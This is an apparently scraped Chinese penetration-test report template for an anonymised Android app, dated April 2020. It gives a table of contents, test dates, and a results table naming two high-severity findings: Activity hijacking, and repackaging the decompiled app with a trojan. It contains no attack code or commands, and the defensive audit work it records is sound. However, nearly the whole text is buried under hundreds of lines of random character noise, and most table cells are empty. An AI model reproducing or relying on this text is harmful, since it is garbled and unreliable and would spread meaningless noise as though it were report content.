" ]3 C! a& F0 b0 O$ R; F: R {; M6 E: {' g" ]" A7 ] }0 a5 l/ {/ N
# d; N$ R( [) A: n
* H, | D; b! D6 [# O: Z
/ L5 j# `; {6 D" Q! T" v; _4 S% ]& F; U
" m: Z$ B! V9 q. v
U$ C5 V; E) Z9 _2 o/ g: e , K" j+ \6 f! A4 ]- B- v" H' q
3 d. w3 u) R- B1 Y# K: o# f' O
0 a# l5 `+ u# d2 H: w0 g/ j: e# t( {9 H
文档编号:
( F! }- r9 q# z! O1 F& H3 T& D* m6 r8 P0 ]$ v( e) I
; m+ G3 R/ X6 ^: S
+ Y! [0 U o$ L
% ^* m* c+ C! h/ G3 W; R! c1 r) d3 j' a
$ \" \9 O4 T) }$ I
( f2 }* k6 ^. Z& ?+ a
' ?% x: ^+ O4 w7 |) V# U
# F& s5 N, ]+ `! M$ J% I
, X8 [1 k% C" U9 {( X/ n' x* t4 X$ I/ A \
/ w5 t, B' G( F+ U0 M. z- R
" {' b. N _1 \
, t1 x. K! g7 Y; V
5 ^5 c8 ?8 F& I) c7 N' m
. {9 T! [. [$ f% x/ ^- r- i S: E3 O: w- f; O9 ~
" y$ ~, E" K0 [5 a' r3 j1 f$ A* e9 Y
2 A1 S$ n# U) s+ G- R& X
2 j: R( k$ X1 G) [: k7 E
" J' J. s0 F5 T5 b
B5 |7 e" R1 |1 l2 h5 \* d9 Z
B+ ^% @8 L3 z/ T 6 _& M6 p3 t0 s
; C" H5 F+ X3 r" m
+ T) k2 v& [8 {3 S, M
( z; F9 L B' t( j1 H) d
) H5 O+ t/ V! p- ^+ U, N9 ^* O: J# K; I% `6 w. U
& C, ~5 U( ~ ^. Z$ A! n3 p. v
+ w8 w, g) l! D; M( K1 K
/ d; j3 R& E3 G b4 [: T! [
+ Z6 |4 N4 V& @+ k, A6 m
4 H' j6 r3 Y7 S% }- k! \0 I2 c1 {3 F; A7 U8 F) f
某某某APP渗透测试
3 P' X' ?) j$ o2 X
- e* a( E3 e! U& v/ |- E# `
# t3 b5 v7 l5 F. _) W
0 `# K+ Z) [% `- G7 }) I " a1 t9 `/ \' c2 j `( s% h
, x" l# `. i" ]1 K9 |6 e
8 w6 Z4 L3 |# F+ P% d
0 T( P' h+ `, s# Z
9 m/ U- K7 u3 X7 o
# ]3 Q2 v# r; [. a. D
) w$ V/ r7 j+ r9 h/ p3 |: T: `8 g/ d4 u2 B! r
4 M; P3 p. l/ Q, B' o( j
, V& H+ R4 q5 K" \2 {- d, `0 E
0 N4 Q) w5 d, _+ V$ U
8 |* B' P. e) U5 ?
' D5 s6 b/ f% _$ N, u) x! Q* ?$ d: w! o; W
0 W, _1 r/ Y+ o- t5 d. S# x" f0 c% y) _! n, F9 J
) G/ Q3 e4 Q# I7 i" m8 Y4 W, _, ^' Z: `" [$ q
) I$ N2 P/ f+ A) T0 v O5 n! i& ~9 t# [( ~6 O1 _0 D
# G; J- r$ P; W g0 V
! w0 a4 g# f+ J: R
Q5 N& s J* ^! A+ @ A
. x; o% y; F* w" L. q , O$ p6 R# q( W7 p
; k+ t5 D; Q- T* l5 z) W5 @5 [
技 术 报 告 2 `; k( X. |% L
M( u" ]9 q, ?& g3 v6 s2 e
! M: |/ J$ ]3 l7 X
! j/ ?1 v! A! K1 A8 c4 T8 Q
5 Q( J, a( W7 p
# s! N9 x/ ^1 g3 i9 u+ s/ a7 G; R # c+ C2 _+ ]3 ^: ]; `
# S* C) l7 q3 S' J y3 q
0 w) `0 b7 ]; `1 Z2 G
) D( Z' [7 p( h4 S4 {$ ]% b$ [ 3 [/ E0 M% n6 D( ^7 N- R
" L. Y: P6 {( G" O% s
! |/ {8 l( S: f0 m6 ~, o
5 A3 S* l2 k* f# n) }- D4 X
( `" z$ {; F1 l0 p, ]; H
6 g( }9 M9 R1 I( O4 u0 @
- F1 C$ b. O9 g: d5 X0 W
* I6 P! F9 j, W' t7 m5 F' a! V ' U& F- G* l% S9 m
- _, M$ h. t) q, p8 Q. |
: _* l s- [1 E% b9 H
2 l4 W, R" J& D4 ]: P& [% H3 T - Z7 k$ `& d, r5 Z9 j- p4 ~
1 M/ _/ q* j7 G3 O9 D
) z8 S* b1 s0 I( b0 h
6 ~! d+ A6 N5 R/ @' u! I
8 m$ M1 |) X' F; P1 F1 l( o* S5 R- w( H
2 L5 m* `1 Z) d, ?9 b3 a; _
l N! r, @3 j/ N, R
2 t2 o% |( }( y8 t5 Y
+ x1 B. v6 g( V! o4 Q! ^& p
/ }1 c! M5 _" Y- S, I7 T& @
4 }2 l0 ^# b( \9 C7 A' V6 m ) q M3 d9 L( K
* B" [4 q: T% \& r/ ?3 l4 V, p/ o" }
* V9 j3 N9 Z- R, R0 Q
* |) l* u, L9 u3 D9 N% [
! h" Q( n% x; a" n. M
# j) A$ S$ C/ D* Y% e! o8 ]1 S
% J7 p' B' ]+ M. g0 ~# N
- h( j' ^0 U$ [% [8 d
" e9 c: N! q* F/ H2 c: f# | F
/ y0 z B0 u2 l/ C8 o
! R. {. R5 ?7 C% ]3 j* r: y
3 l" V+ K3 G2 E/ B" U4 e& W, f; p7 L
! L! v3 U4 D5 ~% p) L; @8 D( a5 `3 ~! e
# j% W: [! L5 j2 v* X( j: M7 _; \5 ?- \# T( S3 T, c, T8 G& r" z
1 ^3 w8 v0 w( M6 v/ c, N7 m2 Q4 |
& W3 f/ d+ T0 A2 L; _5 z
" j+ j% g8 e) ~* g ' s+ j- k+ ?! A6 K
, l# S6 Z p) J4 I
2 P; q% z- m0 y9 L0 }" Z0 t
, S: a4 @( h7 u" ~1 [" i
! f& N% A1 u D; M( v+ V! U) \
; d) E) c' a7 p! F: N% M # I8 A3 K" d T. _3 }6 W- q2 ?
# D) N8 S: z8 J* Z- J0 k
1 r. z2 n k( A5 X8 s8 _" L+ q* E2 W$ v, z% z# O3 E9 I
( w5 c) }5 |) \
1 S; k+ W& \/ f& v0 a % {9 t' T9 k+ k8 [6 A
$ {; r) }4 D, m
! e7 q# k# @6 _2 ^$ |
& w: @* Z3 M \0 @# ], o2 V ; L) f# v& y# r1 Z6 c/ F/ d7 K, |
% `3 m. P" c) S . I# F, U1 x9 L' `( Z/ ]. X
% j8 n9 ]7 S, Y0 W
( u7 K8 y# ]! u$ \: x. Y' a7 o" l. n5 m' E& Z2 [# u
+ r. H/ k& Y5 W/ P1 K1 k
# Z4 ~& j# ^, j* d8 G6 R/ s3 U
* K/ ~$ p$ x* A, F1 y# u6 ?" B) E# T8 v
$ ^% X: I( U: t6 _# A
! B5 M% M+ V. H3 R1 Z: w# O+ K7 J , i. N+ U' D5 O+ @+ Y
+ n( F% T9 H. W" `: D; c $ `. a: `8 y9 ?& k3 o" a
1 e( z/ O+ A! u1 c# c5 J8 E+ m
! s: Z( f I2 u- C; m+ f! |" k, `7 A* K9 C; g
" H4 Q; i8 U& l4 }+ C1 B
3 o2 P$ U& [6 N. j j. c& Z' v# p( d
0 k" [9 L7 Y. ^
4 G4 j& M% v# r/ T
' q4 c& Q. ~ |& p* g
4 w/ M m. ?* d8 e3 } ! P/ {% L9 X6 o* k& i
- I8 P0 i% a. p: u5 m
7 A" C7 t4 c- b+ j7 d/ m" {( j/ u7 ^
7 {. \% v+ }% O% N6 i% N! _
. R; p2 \! ]. u+ y$ ^/ f
8 J' L7 R7 }: {9 j0 q( x( M 4 |, O4 n: j ^+ |* g2 X, ~+ a
5 \# j. d% h5 y& k7 n1 V* F' Q
6 _" \3 e* j; X8 _. k
* I. R$ j% _ s3 y9 p+ ^
; N1 W' t3 N* A+ A* X. O0 X2 [0 }
# d( V7 U9 L" B7 V. S+ V
. }/ |6 v7 n. K4 A
4 n b$ K9 |- h6 B, u' R
( s% y# G E0 I2 G E" h. [' X' V- }- S, H; }0 ?- A! J
) y$ K" u* d+ L# {, ?& ^6 s3 M
1 B7 g& J( `' \9 o; B9 ?5 ?
" [3 }' A) d! k) X; m6 y$ ~- G n$ L W/ [' e
二〇二〇年
; a0 c( u! L. r) G0 K$ \$ b+ y! a; B$ U( t* [$ ]4 e/ S" }6 t( R' N" [
' M! N; H. Z" J- u: a" b* _2 x" H. f' h5 N5 V
4 f% R$ N& ~9 v9 X# \
) D8 v M# C7 f, {
. c% }: G: E4 J5 T3 \
* f8 K' q& c# d9 q8 \ + P6 H% q: J7 X
2 W/ z2 p& g+ |% I2 A% T 2 f' ^4 p! t9 K- t `" n. { v
% o& v& K) p, [) |! {5 k
* a& X8 M( k0 S g* r" b6 D; z4 z r+ Q2 l' ^3 n# l/ L) e
( }( A9 Q) [0 ?) \
6 o! E' X# G+ v t+ X k* O8 {8 L9 {) z9 m8 S
5 W. }# L C( w ) `0 o3 ?' O& j
8 y8 p5 t7 b, q: {6 \$ W( O# H0 q! I 7 s3 l# a& ], R% `$ [
7 Z' n5 t0 c$ d5 {- q
目 录 + o7 r) V/ N. ?; z: @9 Z$ \/ {
# ?. P! k" c1 O k" [0 d! X# f
7 o% @# S5 F( u3 O* Q' z. o
7 g" y8 W+ j( Q/ Z& }( h 2 H* H! {) { u! j4 L0 K8 t" ^
# ?8 E/ n6 q6 n; j
3 p! b3 q. T3 H, M" `6 ]; A9 U4 ^) y
[1 i* g8 @7 Q U
7 U6 a: |( I* U4 d
$ n- H- V* V! i2 D4 F @; D, O
+ ]' X' D$ E7 I9 |: e% E4 z 8 H! B8 h0 o# h. B
& N- [) T$ {; n3 i8 ~0 a 1 概述... 3
) O/ o8 S" d8 u7 s+ {1 u' R2 ? U
G$ B5 L! e% Q( O( I
2 Q+ \5 _+ | @3 ]
5 v7 T3 F8 W& s1 E
/ E2 D& Y% p# P8 `
_- e. T9 Y7 c9 b: {0 }
1.2测试时间... 3 9 |2 L) X" i. ]& w& A6 N9 F- C
' j1 Q8 ~. L' ?$ y1 N5 Q8 l
! D2 ]/ N2 d9 q O
3 ^2 i0 u3 P6 z$ c/ o4 O 6 e& i: Q) |( `; J& u
6 V) e/ P% h& \. |, W0 [2 u) @+ o4 I 1.3测试对象... 3
. r* p- @/ X( B* Q E# i( y% \- B/ l! P0 _* [4 }0 ]8 i% e5 f
6 h1 D, j: x1 v( ], [- Z: e- I' V. y8 F3 n$ { ~+ s
" M; @* f4 W6 g$ w1 Q+ k7 m
' |1 M( v# ~/ E* \0 u, M- u 1.4测试结果... 3
3 v$ S0 R. _, |8 h$ H
4 {! A2 Q- Q3 P8 S2 r9 s
' _& p) m0 |( y2 q) n7 [- S- c
; }3 d z5 `2 A# o" I" k& z
8 `$ M t! w1 s% N& b4 r
$ E- D* e7 v1 {% o) [/ t! B: H 2 检测结果... 4 . P- e% \8 k' k# ^! B9 Z
* d( P: {' m8 Y0 J* S; n5 y
. @/ \6 {: E8 I d3 m5 N# d8 `4 m; r- V; V5 r3 z# S
2 N) P7 }& m1 z
+ j% ?6 H! V9 J 2.1 某某某... 4
7 s7 S& o4 F/ p) D& P& V. [2 a/ a0 B1 ?6 O% Z, I
4 x- O! m2 T# U% p; u8 R2 ]6 M4 L$ \3 H; o, D
4 n' l1 K! F" D T9 d- k$ M
3 C! c& C2 M& _8 y8 l
2.1.1检测目标... 4
" Z6 ]6 L' i0 ?0 @) ~5 b( G+ B8 l1 i
2 t& B4 R3 L8 x( ^4 z5 P* R' E4 V% }$ L' ~
# a. H4 A. j1 J3 |* f! _2 N9 ^/ r' Z$ o m! z6 Z
2.1.2检测结果... 4 6 S# d* J; e6 B T
9 |% A( [9 P, p. h8 _
( p; L+ |) e8 L8 k9 p3 R2 p5 C' X& T2 J* J$ c
) \5 N5 y# G' i1 W7 B5 x! o6 z
. N. j0 J, i+ |* n5 t9 Q5 |# h3 O
2.1.2.1. 4
" U4 e" Y( A( `# Z+ y) g2 [4 I Z' k8 M' G1 N c ]# G, ^: i
: n3 V$ k/ P* ^* d
# K( ]) ?) m+ K% @, ?9 ?/ g0 Q5 o 4 \1 k8 O2 P6 \0 l: V
2 x4 K0 K4 x& g# A3 Y( |! A2 s
2.1.2.2. 6 9 t" m& V, b6 Z
Q) e5 U$ i9 d, l7 A! x
: {% z9 `8 B; [7 T/ R7 d
0 K% S; O& f$ C7 T5 R! d* ~. w9 v + L2 E3 [/ j# W+ [6 r) r7 F
- b. F9 h7 {$ S( y; T8 c' I
1 K, {. ~, v# Y' U& E/ I# S
& z0 A$ y- E# x) L' J! L) c
/ g s6 T0 V( P
# N5 l/ T& k& N. T
+ d- j" v4 N! d% b& i; w& `8 q: w9 ]9 L5 U8 ?0 R* ]( v
1 j3 L7 W0 T0 i; \3 O7 c
7 g9 L2 T& Z5 d/ f% V
: Y" X7 S: F; L) P# \( @
) d/ \/ l8 E* O0 ~0 p, }+ |# A ! I- V; R. N2 [/ A
+ G9 N2 o/ E0 f& @! @
) u. M* z; T0 J6 ]4 d
6 _1 c9 Z/ e1 k, s' x 1 概述 Y) T2 o/ D6 T- |, ^5 ^- Y
) V% ?& Y2 C" ]' w: ], k1 M+ Y
6 Z( }+ b3 p! O, o: h7 V4 d+ V) M' ~6 r
9 |* _0 V, w# F( I7 h/ L
7 \* @$ X, t9 \2 u7 [, i
1.2测试时间 5 N8 S2 t. K7 q9 q3 l- ], X. i3 ]
6 @4 A8 c# t; _, M! l
2 x) r2 ~! i. b; q) E3 y
# r) M( j( B4 V" d$ S4 W+ O t7 D- {" [# z3 m% n( J( ?
) x. p0 U; b4 u
, A( t$ [; m1 _, Z* {& r
0 [0 v" f5 h& x
! N8 W9 C7 B% W7 K5 f$ d
8 u* f4 F( |& i6 p7 l) z |
4 E: }1 m7 G: ^
) J, g) w' |$ p. k) N1 z9 x' ] ! I8 g3 S' j4 X5 |
; I% I. v( o# L6 q: A. a/ ]2 j 渗透测试时间 . C$ `( I0 D/ P9 {7 {
0 Y5 K% v/ Y$ b& r6 k
6 ]$ s4 p% m+ |- F
" E/ s u2 T9 W/ f
|
2 N! e! J8 T, d/ T* s% p6 _8 s
2 Y* i6 x) n% v- I# F
8 O6 G- U; X; ?; u9 J6 f2 B L& \) B6 J2 X p6 d- A
* I: `8 u# f1 S; b/ s+ d4 u
, M. Y7 g" Q: F+ p2 G1 w6 b |
* S+ }, l; r& D$ `0 z( B( c4 b$ _, l( @3 I O' u( x
2 N$ F3 e( Q: b# j" O8 ~# M6 S2 j) g! u4 c+ i
起始时间 - p6 X* w- C/ o) a
1 w, c" Z& I* F& R# f 7 f: w( |+ {8 I. F8 O7 X& h
; j- q) R; a/ }: h
| 0 d( K4 m0 h2 e9 o
7 J5 V5 z# t. E+ q( }, {
8 `3 R3 d1 `. [9 F% \# E# c
$ D ^* d, A/ ]1 O# V) E ' [& V' Z8 d( S( f
, w, Y# r: k! A6 Y. @8 \ 2020年4月6日 ' t* t/ g2 c& S
! p7 X8 |; Q# k o! r8 {. l0 n9 I
& z% q5 _; M( W4 |) a; W" j
* q/ S1 n: C6 G& N& y
|
. j% s2 ~+ B3 X) \" t0 a
7 f) w$ |3 p1 d5 [
$ u. R" E J6 `9 C
! B- Q% i! f2 u : ^$ k( t9 ^* _! E; |0 U
8 i8 T; \7 s5 K
| + f$ m! b. G7 N6 M4 g0 v A
2 e' {5 h! F0 V8 C
+ U" p8 g4 s3 [0 c
& N/ o2 w' [' w3 z, z/ a 结束时间
9 r6 s* F8 k4 \; Q) v5 f2 f3 ?; k! c( h/ n. U
3 R; c! C1 r1 u* X; X
1 q: V5 d% U* {% R" Y# _
| 0 p; E- Y/ d9 a O
7 Q1 j+ ~! ]# J4 L: k% Q7 s
/ a3 ]+ ?3 U- W" D) e" o8 u/ S2 c& o4 L2 | Y5 g/ ?% A" T
, g* g) a' X. {$ Q* w* ]
4 }1 V1 ?. g- D! \4 j
2020年4月9日
8 g# Z. K6 A! I& _' T
& a# z2 K8 m& `4 b' M 6 u' b/ L" U+ B, K, e1 Q7 D
- c$ e# j( z2 Y |
* J# J9 ~; j/ v( Z3 O- r( {2 C7 \) F6 ^+ l' c
Z2 Q) @$ G$ L: L' b# F
! w1 O# z9 L% j# W. M8 ` % O% a5 ] ^1 K1 W- L# {
# ~6 ^# n( @) b; B) j9 |
7 T0 z8 Q9 @0 I7 U9 o% X5 [% d, H' {
* [# U9 W% e- o+ o V$ A$ f& P6 n% e" x. b7 M
1.3测试对象 ) h! G$ J7 h2 n/ h
6 n+ c7 i2 T3 d' @% O7 ^8 `
# {6 ?* s' q1 m. ^
K4 k. b( v5 w8 h L6 a + ~6 p5 r6 n3 E" f
% ~0 e& r2 c, ^
此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示:
2 V% J3 N7 d( [
. h* g: |% q$ @4 s
W v1 O, i% N
% _/ |/ p, `( N1 V
2 _& P, ?9 {( G; v/ o) Z2 B |; x; w6 z2 ^: O; v* o7 _$ w$ [+ q
表1-1 检测对象
7 q7 A* X6 P& e3 J, @" Z' o) G8 \5 p8 e. T
, T9 Q+ D' Z1 E1 x& o* ^! @$ }" B4 p0 w* e$ O
) B3 A+ o) H& ]" o' E0 L
( G2 A; t; @" X8 v9 U& x) p ) b$ y8 e4 Q9 D! ?+ n" S6 I
' @' e) `1 m/ ]# h$ Z) ?" H
' h: W' z! Y& a
1 K# q* P/ b# Q9 a" S
| 2 _; F# @) I2 T
. I0 t5 E1 O: R: J- j ; k0 V# g7 u9 K6 k; w' P
; ~$ ^ H& X! m0 g1 O* q" B
序号
: g( W$ B/ U# H6 F
! A( l) u7 D( [ `7 w! M
6 B$ j K2 E e0 Q# g/ ^/ w% G/ ^# m: Z; `9 {
|
$ j, ?0 @% I A1 g5 \
: |6 v% U+ x! d% W+ T7 Y0 I
, b& w% a. _0 w# m+ j
6 \/ G8 l5 c+ y3 E6 u
/ J! l7 _2 q0 E5 v# v6 E
$ N( C5 B h7 o4 k7 `1 J, U 测试对象 7 ^5 S8 R5 {% e% ^2 B
6 V0 F. z5 C7 q8 h1 l( D ; z5 R4 D% k6 P; n9 T: q9 n
4 _! k0 h: f' E* v0 M# R7 ?
| $ }7 p, f. U& H7 m, [
p- P% q1 a1 x$ h3 p
7 Q9 ^) V$ k% g! ^) A d! \" k
3 L4 X r4 O3 o; n, F, f + J* D$ m3 C3 K
) u, n5 w4 Y" o' p( S2 o
测试地址 2 f- B( }; {! K
# t) S3 N: H) f1 \: r6 J0 r5 [( h 4 c* @7 |7 j7 R/ i, `7 {) x
- G! v) o3 p, u+ N3 o* U
|
j9 o6 Z3 k: K6 v3 d% x9 [8 a! m* r8 I5 }' N
5 w$ U' X& h( V* l' X+ k# R9 R/ k5 I* V! W6 s4 y, `
: j9 o" _5 e/ _! I
- G6 o; s% n' H: @# h: y
安全漏洞 . Z! z9 d! v9 M8 v0 M
6 f1 Q: |8 Q( C/ V. m5 O! H. D
4 R7 Z. B9 d# p) m( x
- B4 a& S1 Y3 H9 N$ L+ n
|
; |* y3 K. r( G, }! X5 T. q9 h. E7 `, a$ u7 X% J
$ }. I/ W0 u' G- w3 `5 \2 j3 r6 U8 S$ U# y5 ?% }
) K1 y2 K+ @# N6 y$ G- e6 c7 |; \+ y/ ` e0 W# {# R, r
|
+ R4 u6 N) d& I8 _
' M4 z7 P2 U: D A4 h
# x x% P6 a/ ]3 c& ?- h3 q9 S# @# o2 |% j3 J. q
1
5 h8 L Z5 L3 v& u* p6 {
% t/ p' ~ m, A9 @6 ?9 {
( _* z" W2 P# d* u
8 a, l9 z# P1 g8 z5 @/ M6 x& p |
: O0 L4 L! Q1 l/ d( p- H8 e' U& D+ y0 j! t
$ M- G( U: v+ k
! S2 k& X% B; t
7 O' h/ U0 c. v+ q I; T) ~/ M9 b. N: G7 O/ }
某某某安卓APP
1 x$ W/ j i1 Y4 }. B& m
# n3 I+ t# C4 m* b
7 c$ P7 O( c& U9 g, h. r% w" d3 b+ B$ x( g6 q2 [1 _. {
|
1 s3 J1 G9 T' `+ V8 i" U& C
+ W( W- Y4 q, ^7 t& t 4 c. `- R/ f" ? D1 j4 s) }, }2 F
) z7 F- z) Z* }
" G5 `2 i8 }9 Z* t) A) U& X
: c- Q5 V1 @1 }. H1 t# G& W
( w ]4 i! M7 x( l3 u! |* W
7 b% y5 H# _5 y% I9 J3 G
" |! A( ~2 S* k' G3 e4 i5 ~3 l1 }7 _, z8 M
|
5 i- ~: G% T; F6 q5 D2 w! |( e+ K J/ C5 r
7 E# m) [# o$ j$ l
2 D" v9 H! p1 | 4 r/ ^: J9 r2 x$ y/ O
- K. k- ?8 G$ m5 h5 [. }
2 2 ?9 s- R" D1 Z: f( _2 P- x
$ y2 T5 Y$ Q) b3 r+ _
# y3 U9 j- d* z
, X) X8 K, M# v3 H. F5 m |
/ ^! ]) d" f! n0 H6 ~8 Q0 u6 S6 u$ R4 C. w) _& V
$ D1 {* E5 n( z J6 d
+ P x( z. k$ q4 I0 \, g
3 p5 A8 Y/ {2 ]- N1 Y
" R4 E' y+ D/ Q. k# r: U
; n+ z1 `5 P% M; y9 f
; g+ M- B2 y% m 6 x( T4 l- T! Q+ s. u4 T, y$ h
- i7 |9 Z1 l9 y1 S 1.4测试结果 8 Y+ F" C, X$ y9 g
/ p4 N* d& i2 j) L
- q" ?, p% j2 E+ k% `( P0 X
- o4 _4 I5 [% E* v' T. s
" l, O6 U+ c0 k3 e" n
7 o" ^( p$ F7 U; i. W2 A 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示:
* |: M- a) p) b2 u7 I+ z) |) w2 }* T! f
' M' C6 v# l0 R
* v) n$ s7 t) ` . v* ~5 a7 p! C
6 i1 X: v. I1 _+ H1 Y' n5 D4 o
# O, S7 h+ O5 A8 J) C% \; b! C" V# H# L8 \' O6 v
* u; l! f( ]6 S. N
& X9 m- S2 W7 d ' E) W1 s: W4 E- p( e$ {
( B8 g) P- [) y7 h; o+ a) c' P
# {: C# d( q' E
' b% n7 L ^+ F6 t- x5 E( S, p
4 M8 s. |: J1 k) s
4 B2 `# G9 C4 s; ~9 j
, a" W8 Y! l% D* O; m6 ^$ o8 ?
8 s) m* B, E# w3 C8 J5 K | . z" a! w& A. B" }
+ }% i6 V7 m1 @$ i! D; k
% K% f1 ^) R1 l- {' q- o
' s4 l5 y/ M4 f4 S" l
序号 . L- D, c, o1 l) Y1 W
L$ J, i5 k' Q' ]8 m w
) K7 |: C$ W' L1 V) s3 t' G' j" }/ `$ ~. ~3 p
| * N3 p" ~8 N4 e) N4 p
0 X5 Q/ L0 j7 Q" |# e- X. m
, g" x) Y% w( q, c4 A' O
% X4 W/ c7 W) N+ v
0 u9 G/ X! ?2 r
( {5 L8 L4 k5 i1 Z' o) L 系统名称
% Z E2 U Y- e5 o- W3 T2 c
4 k' e0 g' d7 G9 |! k+ x! Z+ S- w & A. P: s0 e/ I5 I3 l0 T5 `
5 G' h& Q; \; s- X' f' q" L- Z |
2 U/ Q' F! `# L; `+ E9 K+ W" ^- s+ |8 j+ y4 D# H2 j
o. B% i( Q* O& n
: W/ y' c5 P- h y% W
6 Q) o; i! y4 i9 g# x a5 n0 d# i |' g$ M/ Z2 y
漏洞名称
- D; s+ B& d4 b5 K" m0 {, |$ i! X* H6 A3 `# B
4 Z3 t( r& p$ ~$ b3 j) y; S0 K( P2 ^
. k, c9 a4 `. K# O) o |4 Y& O |
/ `6 B- M& b. S+ S, _% |% t4 V; j
) \: [: S. Q6 t " b) m0 Y9 c. o
9 M" o {0 I% U1 L4 S- v3 w- Q6 A
1 ]& P. x4 `; ? a9 @/ Z
9 g! N- o; J5 l# | 漏洞危害 _ r3 \4 t# N" Q. }$ x8 X! [
1 ^$ Y/ Y. O4 _. W. [5 E( k
+ w W' F. N# C- t+ H
0 f* O3 o8 a2 L8 F6 y5 a
|
( X1 _* o1 Q9 F# ?3 O- I5 S6 Y
3 F$ z) F& y" ~" F2 b5 y3 Z6 u/ b: s 7 I9 \& @/ Z+ @( N& A2 T. O
3 g/ {! N1 Q' c! ]0 W - U) _4 U9 E8 R
9 r* D* n' Z1 L* f
修复结果
* M8 X$ ]8 S9 d4 k- E) f, K+ h# R% H5 j- o5 }6 V
. y* i+ a7 g' |; G3 g Z+ {/ r' L3 C b* [8 ~+ e5 M
|
% l+ O5 W0 J/ D* F' C6 `, s% E7 z0 t
. v& P3 C# M. x' R6 [
8 V3 p, ?0 w- O9 [* B9 c8 s! W" }
8 u* A$ D8 X% m# v7 L! _
# _( z) c p! _+ x1 P! D | * m, R' T/ H6 T9 ^1 F4 H. o1 D
" `9 W, N8 S) u3 p6 D3 |. E9 C! d
6 h' i5 c9 q4 l& R8 G; Y& B9 A
1 w) E% M% g# s' A 1
% ^* [- x& x k9 b' O3 F9 _
/ ^& ~2 ~ g! Z! F$ V 3 M" f' w% W: `) N& Y
- |% [+ Z: x3 ]0 h( @4 | | 9 o1 v% b3 G- F- S6 L g
$ ?2 I; v/ C/ Z2 o: h 9 f7 J6 I8 ?7 X8 G7 Y
$ Z$ @# f! G* s% P+ w
% d, z- E8 ~* a) e
$ H4 y9 r+ ?1 e# U n 某某某某某某APP
! @" Z @, t1 o$ X2 F8 o7 {" o* J! ]0 U3 _0 ^- a
k E7 g& F& H9 `) s) {- M& W
0 F4 ]8 s. O P s* f( n$ u; [
|
+ ]( i, N R% T$ @6 N# @( n, P7 G" X+ c5 |
) l9 [) Y! h! I8 F, E1 E# O
& o- I9 ?! Z Y/ H x# j
3 P R9 j7 s) u! u3 I
; t8 n2 t8 E" L$ ~& O% v2 C0 w Activity 劫持
# o3 R" M a' ]1 [* l$ Z) F
4 d* ^% A7 L8 I# P
8 W! K4 [+ A# r9 `; `6 C2 v3 I2 i5 U, G& a, b2 R# T( Y5 X2 \
( Y: y3 e. U7 ?2 u
% N% n! x( S' Y m/ f& c2 H - x- d$ D3 N; M$ i0 m% F% s1 I
+ C# S+ N' H) x) H
. t4 h$ i( r# V- p
% o+ A- @, |; p3 n. [: r- w& h | 1 o O8 D) l" I. y$ }
4 l! b; z4 W) q# e8 J3 }# V" @9 ` * z- Q) F# e0 `3 Q4 D
: A* s1 C! q# E \( Z
$ m4 s; h$ X$ o0 ?) s% y$ [( m. l) N" V
/ n, g [. A" w9 k1 n 高
* I5 J) Z* ^4 W/ k8 D4 k! A+ ^. i0 Q
5 p. w0 R5 K& ^' V w. |6 v
6 s( s7 k* }. V8 W+ e* i
* t' M1 t5 i: P8 o4 `7 s2 T0 c9 ~ |
! b) H4 R X! I; w
6 t+ O$ V# C" h2 H g$ o* J4 h0 G. g% U
% b) k& q" h1 m( R8 \
4 n6 n0 y' O6 h! Q
' k! M9 g. v3 U ~1 z7 g$ Q 4 h2 e m( i8 k6 x0 k
. o( C* D h& n# f' a
3 _; B. z* y; g% |% X: p& H# Q
& E' v5 Z+ t& @ | 3 y5 Y# `: ]1 X( r6 b
9 |# X7 Q1 _+ H& Y+ D0 O. t9 T4 g+ C2 I
3 M! a' [3 K, j
3 q+ `4 k. q* e B5 `
) I& A% K' J a- h/ l7 M+ B7 x+ L
& ~0 E: h- a# ~5 e& S |
) n1 f6 e W$ ?: [7 K- V- _. W }5 i' y5 S& a( ^
1 ]# { @7 Z/ a
& A8 _: W" h9 ]9 ^% p 2 & z7 p6 K1 N) [/ t+ G* g$ o5 `; V
3 _! R7 ^# T- t6 b
, S- L" G; S! d
& i( @% H- `) E |
7 y4 d0 l4 l; Q
6 |2 y/ g" T, S! u& D, X' [- U + s/ L1 ]' }/ W
" A- _! |3 Q! x
8 @; o% q2 W# @/ {( D! p
& T. |( Y4 Z; t0 m+ L# y4 | 某某某某某某APP ! L+ i! r# d8 w& [% [3 g2 P
u% o! w' [8 m$ s
$ _4 Z& E& M4 ^, c0 ?: Q4 C* V! c$ P, H3 n1 A) x7 h E. e* z/ ^% j
|
, {6 N D+ g- y3 R% P$ h$ |% \ l0 x, T% ~4 C
4 b! A. A1 }) e; Y0 q3 X$ x! S2 T4 |4 B6 g0 E
: T' P P" O6 C a. l+ T) E6 o" k8 n0 ]
反编译二次打包捆绑木马、篡改APP代码
5 D7 a) p! ? t' C! @% [+ E
+ Z1 d* B* g2 K2 ?. K7 ]9 C 9 C4 [$ R* \. N9 `1 g
+ A) O" Y$ K( w |
r6 K% v8 f) l: m6 d% V) b) s& U# C
! `% n& y( a2 j. I8 U: S7 t. a( W# K
2 O V9 b6 x: Y9 x: k: P7 F. b& E
/ `1 z) i& @ U" J3 M5 e) B 高 ! v4 C4 D) `. c( ~+ b' L8 B
+ j+ P" k: x9 k% I
5 Z1 u& R' I: S& M) \9 b* B. g
3 _; P! j+ ?$ \4 V! p$ w# A3 T | , c! T$ d9 I7 E: A7 u7 b. `+ u$ _
5 |& ^9 z _1 O' B( n y* A y% ]7 m
7 p% _! W" Q7 a- H7 l3 x+ \/ l : c; G7 D8 x9 C
8 q; ^ p, q7 u* V6 z + }. j- H# e; ]+ D7 m
- v& i- \$ B {& E$ z
5 q4 t! a8 U. ~5 ^0 \
S6 B/ d3 f9 b' B# x& ^/ P
| + D5 D, s. j* V. l. I0 k
+ l: }* t Q* u
6 k5 A! F* P7 |$ j) I$ H: m
7 Z9 @1 S0 V, c& u 8 B7 ~8 x; }! f- {8 q9 _
; i+ [5 V8 r" C# H
- E7 e8 {3 g/ ^( M! s. M+ x- y% s7 \, s# ^$ Z, G& O) L/ K
; [6 A9 E- s8 s. {+ H! R) c! e
: P; b0 h' [+ D% [ % M2 c; N- j' ?) {0 T
; @. `, x$ ?& H. Z/ K% Q2 s9 t8 q
5 v0 _0 J5 [3 ` P) j8 @0 Z4 K7 \) Z U9 o# {. @
4 h* d" J& Z3 T
E1 x8 s" }! ~
5 L g+ Q. x! Y$ n7 H( j
. c1 y6 R, ~0 k( n1 a& c3 ] 表1-2 测试结果 ! S p2 @. D# |/ ~
+ {( |/ E+ s$ U6 h2 }' e/ }' b2 V
